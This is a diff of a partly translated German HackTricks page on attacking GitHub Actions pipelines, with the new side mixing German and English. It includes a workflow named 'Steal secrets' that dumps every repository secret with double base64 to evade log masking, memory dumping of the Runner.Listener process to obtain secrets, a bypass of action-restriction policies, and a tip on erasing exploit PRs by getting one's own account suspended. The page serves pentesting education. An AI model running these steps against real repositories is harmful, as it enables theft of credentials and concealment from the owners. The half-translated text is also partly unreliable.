-Wie in [**diesem Blogbeitrag**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) erwähnt, ermöglicht diese Github Action den Zugriff auf Artefakte aus verschiedenen Workflows und sogar Repositories.
+Wie in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) erwähnt, erlaubt diese Github Action den Zugriff auf artifacts aus verschiedenen Workflows und sogar Repositories.
 
-Das Problem ist, dass, wenn der **`path`** Parameter nicht gesetzt ist, das Artefakt im aktuellen Verzeichnis extrahiert wird und Dateien überschreiben kann, die später im Workflow verwendet oder sogar ausgeführt werden könnten. Daher könnte ein Angreifer, wenn das Artefakt verwundbar ist, dies ausnutzen, um andere Workflows zu kompromittieren, die dem Artefakt vertrauen.
+Das Problem ist, dass wenn der **`path`**-Parameter nicht gesetzt ist, das artifact im aktuellen Verzeichnis entpackt wird und Dateien überschreiben kann, die später im Workflow verwendet oder sogar ausgeführt werden. Daher könnte ein Angreifer, falls das Artifact verwundbar ist, dies ausnutzen, um andere Workflows zu kompromittieren, die dem Artifact vertrauen.
 
-Beispiel für einen verwundbaren Workflow:
+Example of vulnerable workflow:
 ```yaml
 on:
 workflow_run:
@@ -390,35 +393,35 @@ path: ./script.py
 ```
 ---
 
-## Anderer externer Zugriff
+## Weitere externe Zugriffe
 
-### Gelöschte Namespace-Repo-Hijacking
+### Deleted Namespace Repo Hijacking
 
-Wenn ein Konto seinen Namen ändert, könnte ein anderer Benutzer nach einiger Zeit ein Konto mit diesem Namen registrieren. Wenn ein Repository **weniger als 100 Sterne vor der Namensänderung hatte**, erlaubt Github dem neuen registrierten Benutzer mit demselben Namen, ein **Repository mit demselben Namen** wie das gelöschte zu erstellen.
+Wenn ein Account seinen Namen ändert, kann ein anderer Nutzer nach einiger Zeit ein Konto mit diesem Namen registrieren. Wenn ein Repository vor der Namensänderung **weniger als 100 stars** hatte, erlaubt Github dem neu registrierten Nutzer mit demselben Namen, ein **repository with the same name** wie das gelöschte zu erstellen.
 
 > [!CAUTION]
-> Wenn eine Aktion ein Repo von einem nicht existierenden Konto verwendet, ist es immer noch möglich, dass ein Angreifer dieses Konto erstellen und die Aktion kompromittieren könnte.
+> Wenn also eine Action ein Repo von einem nicht existierenden Account verwendet, ist es trotzdem möglich, dass ein Angreifer dieses Konto erstellt und die Action compromise.
 
-Wenn andere Repositories **Abhängigkeiten von diesen Benutzer-Repos** verwendet haben, wird ein Angreifer in der Lage sein, sie zu hijacken. Hier haben Sie eine umfassendere Erklärung: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+Wenn andere Repositories **dependencies from this user repos** verwendeten, kann ein Angreifer sie hijacken. Hier findest du eine ausführlichere Erklärung: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
 
 ---
 
-## Repo-Pivoting
+## Repo Pivoting
 
 > [!NOTE]
-> In diesem Abschnitt werden wir über Techniken sprechen, die es ermöglichen, **von einem Repo zu einem anderen zu pivotieren**, vorausgesetzt, wir haben eine Art von Zugriff auf das erste (siehe den vorherigen Abschnitt).
+> In diesem Abschnitt sprechen wir über Techniken, die es erlauben würden, **pivot from one repo to another**, vorausgesetzt wir haben irgendeinen Zugang zum ersten (siehe vorheriger Abschnitt).
 
-### Cache-Poisoning
+### Cache Poisoning
 
-Ein Cache wird zwischen **Workflow-Ausführungen im selben Branch** aufrechterhalten. Das bedeutet, dass, wenn ein Angreifer ein **Paket** kompromittiert, das dann im Cache gespeichert und von einem **privilegierteren** Workflow **heruntergeladen** und ausgeführt wird, er auch diesen Workflow **kompromittieren** kann.
+Ein Cache wird zwischen **workflow runs in the same branch** gehalten. Das bedeutet, dass wenn ein Angreifer ein **compromise** eines **package** erreicht, das dann im Cache gespeichert wird und von einem **more privileged** workflow **downloaded** und ausgeführt wird, er auch diesen workflow **compromise** kann.
 
 {{#ref}}
 gh-actions-cache-poisoning.md
 {{#endref}}
 
-### Artifact-Poisoning
+### Artifact Poisoning
 
-Workflows könnten **Artefakte von anderen Workflows und sogar Repos** verwenden. Wenn es einem Angreifer gelingt, die Github Action zu **kompromittieren**, die ein **Artefakt hochlädt**, das später von einem anderen Workflow verwendet wird, könnte er **die anderen Workflows kompromittieren**:
+Workflows können **artifacts from other workflows and even repos** nutzen. Wenn ein Angreifer es schafft, die Github Action zu **compromise**, die ein **uploads an artifact**, das später von einem anderen workflow verwendet wird, könnte er damit **compromise the other workflows**:
 
 {{#ref}}
 gh-actions-artifact-poisoning.md
@@ -426,11 +429,36 @@ gh-actions-artifact-poisoning.md
 
 ---
 
-## Post-Exploitation von einer Aktion
+## Post-Exploitation von einer Action
 
+### Github Action Policies Bypass
+
+Wie in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass) erwähnt: Selbst wenn ein Repository oder eine Organization eine Policy hat, die die Nutzung bestimmter Actions einschränkt, könnte ein Angreifer einfach eine Action innerhalb des workflow herunterladen (`git clone`) und sie dann als lokale Action referenzieren. Da die Policies lokale Pfade nicht betreffen, **die Action wird ohne Einschränkungen ausgeführt.**
+
+Beispiel:
+```yaml
+on: [push, pull_request]
+
+jobs:
+test:
+runs-on: ubuntu-latest
+steps:
+- run: |
+mkdir -p ./tmp
+git clone https://github.com/actions/checkout.git ./tmp/checkout
+
+- uses: ./tmp/checkout
+with:
+repository: woodruffw/gha-hazmat
+path: gha-hazmat
+
+- run: ls && pwd
+
+- run: ls tmp/checkout
+```
 ### Zugriff auf AWS und GCP über OIDC
 
-Überprüfen Sie die folgenden Seiten:
+Check the following pages:
 
 {{#ref}}
 ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -440,15 +468,15 @@ gh-actions-artifact-poisoning.md
 ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
 {{#endref}}
 
-### Zugriff auf Geheimnisse <a href="#accessing-secrets" id="accessing-secrets"></a>
+### Zugriff auf secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
 
-Wenn Sie Inhalte in ein Skript injizieren, ist es interessant zu wissen, wie Sie auf Geheimnisse zugreifen können:
+Wenn du Content in ein Skript injizierst, ist es interessant zu wissen, wie du auf secrets zugreifen kannst:
 
-- Wenn das Geheimnis oder Token auf eine **Umgebungsvariable** gesetzt ist, kann es direkt über die Umgebung mit **`printenv`** zugegriffen werden.
+- Wenn das secret oder token als **environment variable** gesetzt ist, kann es direkt über die Umgebung mit **`printenv`** ausgelesen werden.
 
 <details>
 
-<summary>Liste der Geheimnisse in der Github Action-Ausgabe</summary>
+<summary>secrets in Github Action-Ausgabe auflisten</summary>
 ```yaml
 name: list_env
 on:
@@ -475,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>Erhalte eine Reverse-Shell mit Geheimnissen</summary>
+<summary>reverse shell mit secrets erhalten</summary>
 ```yaml
 name: revshell
 on:
@@ -498,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-- Wenn das Geheimnis **direkt in einem Ausdruck** verwendet wird, wird das generierte Shell-Skript **auf der Festplatte** gespeichert und ist zugänglich.
+- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
 - ```bash
 cat /home/runner/work/_temp/*
 ```
-- Bei JavaScript-Aktionen werden die Geheimnisse über Umgebungsvariablen gesendet.
+- For a JavaScript actions the secrets and sent through environment variables
 - ```bash
 ps axe | grep node
 ```
-- Bei einer **benutzerdefinierten Aktion** kann das Risiko variieren, je nachdem, wie ein Programm das Geheimnis verwendet, das es aus dem **Argument** erhalten hat:
+- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
 
 ```yaml
 uses: fakeaction/publish@v3
@@ -514,23 +542,46 @@ with:
 key: ${{ secrets.PUBLISH_KEY }}
 ```
 
-### Missbrauch von selbstgehosteten Runnern
+- Enumerate all secrets via the secrets context (collaborator level). A contributor with write access can modify a workflow on any branch to dump all repository/org/environment secrets. Use double base64 to evade GitHub’s log masking and decode locally:
 
-Der Weg, um herauszufinden, welche **Github Actions in nicht-Github-Infrastrukturen ausgeführt werden**, besteht darin, nach **`runs-on: self-hosted`** in der Github Action-Konfigurations-YAML zu suchen.
+```yaml
+name: Steal secrets
+on:
+push:
+branches: [ attacker-branch ]
+jobs:
+dump:
+runs-on: ubuntu-latest
+steps:
+- name: Double-base64 the secrets context
+run: |
+echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
+```
 
-**Selbstgehostete** Runner könnten Zugang zu **extra sensiblen Informationen**, zu anderen **Netzwerksystemen** (anfällige Endpunkte im Netzwerk? Metadatenservice?) haben oder, selbst wenn sie isoliert und zerstört sind, **könnten mehr als eine Aktion gleichzeitig ausgeführt werden** und die bösartige könnte die **Geheimnisse** der anderen stehlen.
+Decode locally:
 
-Bei selbstgehosteten Runnern ist es auch möglich, die **Geheimnisse aus dem \_Runner.Listener**\_\*\* Prozess\*\* zu erhalten, der alle Geheimnisse der Workflows zu jedem Zeitpunkt enthält, indem man seinen Speicher ausliest:
+```bash
+echo "ZXdv...Zz09" | base64 -d | base64 -d
+```
+
+Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).
+
+### Missbrauch von Self-hosted runners
+
+The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
+
+**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
+
+In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
 ```bash
 sudo apt-get install -y gdb
 sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
 ```
-Überprüfen Sie [**diesen Beitrag für weitere Informationen**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+Siehe [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
 
-### Github Docker Images Registry
+### Github Docker-Image-Registry
 
-Es ist möglich, Github-Aktionen zu erstellen, die **ein Docker-Image innerhalb von Github erstellen und speichern**.\
-Ein Beispiel finden Sie im folgenden erweiterbaren Abschnitt:
+Es ist möglich, Github actions zu erstellen, die ein Docker-Image innerhalb von Github **bauen und speichern**. Ein Beispiel findet sich im folgenden ausklappbaren Bereich:
 
 <details>
 
@@ -565,30 +616,34 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
 ```
 </details>
 
-Wie Sie im vorherigen Code sehen konnten, wird das Github-Registry in **`ghcr.io`** gehostet.
+Wie Sie im vorherigen Code sehen konnten, wird die Github registry auf **`ghcr.io`** gehostet.
 
-Ein Benutzer mit Lesezugriff auf das Repository kann dann das Docker-Image mit einem persönlichen Zugriffstoken herunterladen:
+Ein Benutzer mit Lesezugriff auf das repo kann dann das Docker Image mit einem personal access token herunterladen:
 ```bash
 echo $gh_token | docker login ghcr.io -u <username> --password-stdin
 docker pull ghcr.io/<org-name>/<repo_name>:<tag>
 ```
-Dann könnte der Benutzer nach **geleakten Geheimnissen in den Docker-Image-Schichten suchen:**
+Dann könnte der Nutzer nach **leaked secrets in the Docker image layers:** suchen
 
 {{#ref}}
 https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
 {{#endref}}
 
-### Sensible Informationen in Github Actions-Protokollen
+### Sensible Informationen in Github Actions-Logs
 
-Selbst wenn **Github** versucht, **Geheimwerte** in den Aktionsprotokollen zu **erkennen** und **zu vermeiden**, dass sie angezeigt werden, werden **andere sensible Daten**, die während der Ausführung der Aktion generiert wurden, nicht verborgen. Zum Beispiel wird ein JWT, das mit einem Geheimwert signiert ist, nicht verborgen, es sei denn, es ist [speziell konfiguriert](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+Auch wenn **Github** versucht, **secret values** in den Actions-Logs zu **erkennen** und **nicht anzuzeigen**, werden **andere sensitive Daten**, die während der Ausführung der Action erzeugt wurden, nicht verborgen. Zum Beispiel wird ein JWT, das mit einem Secret signiert wurde, nicht verborgen, es sei denn, es ist [speziell konfiguriert](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
 
 ## Spuren verwischen
 
-(Technik von [**hier**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Zunächst einmal ist jeder PR, der erstellt wird, für die Öffentlichkeit in Github und für das Ziel-GitHub-Konto deutlich sichtbar. In GitHub können wir standardmäßig **einen PR aus dem Internet nicht löschen**, aber es gibt einen Haken. Für GitHub-Konten, die von Github **suspendiert** werden, werden alle ihre **PRs automatisch gelöscht** und aus dem Internet entfernt. Um also Ihre Aktivitäten zu verbergen, müssen Sie entweder Ihr **GitHub-Konto suspendiert bekommen oder Ihr Konto als verdächtig markieren lassen**. Dies würde **alle Ihre Aktivitäten** auf GitHub aus dem Internet verbergen (im Grunde alle Ihre Exploit-PRs entfernen).
+(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Zuerst ist jeder erstellte PR für die Öffentlichkeit auf Github und für das Ziel-GitHub-Konto deutlich sichtbar. In GitHub kann man standardmäßig **einen PR aus dem Internet nicht löschen**, aber es gibt einen Haken. Für Github-Konten, die von Github **suspendiert** werden, werden alle ihre **PRs automatisch gelöscht** und aus dem Internet entfernt. Um also deine Aktivität zu verbergen, musst du entweder dein **GitHub-Konto suspendiert bekommen** oder dein Konto markieren lassen. Das würde **all deine Aktivitäten** auf GitHub aus dem Internet verbergen (im Grunde alle deine exploit PRs entfernen).
 
-Eine Organisation in GitHub ist sehr proaktiv darin, Konten an GitHub zu melden. Alles, was Sie tun müssen, ist, „einige Dinge“ in einem Issue zu teilen, und sie werden sicherstellen, dass Ihr Konto in 12 Stunden suspendiert wird :p und da haben Sie es, Ihr Exploit ist auf GitHub unsichtbar gemacht.
+Eine Organization auf GitHub ist sehr proaktiv darin, Konten an GitHub zu melden. Alles, was du tun musst, ist „ein paar Sachen“ in einem Issue zu posten, und sie sorgen dafür, dass dein Konto innerhalb von 12 Stunden suspendiert wird :p und voilà — dein Exploit ist auf github unsichtbar.
 
 > [!WARNING]
-> Der einzige Weg für eine Organisation herauszufinden, dass sie ins Visier genommen wurde, besteht darin, die GitHub-Protokolle von SIEM zu überprüfen, da der PR aus der GitHub-Benutzeroberfläche entfernt würde.
+> Der einzige Weg für eine Organization herauszufinden, dass sie ins Visier genommen wurde, ist, die GitHub-Logs im SIEM zu prüfen, da der PR in der GitHub-UI entfernt würde.
+
+## Quellen
+
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
 
 {{#include ../../../banners/hacktricks-training.md}}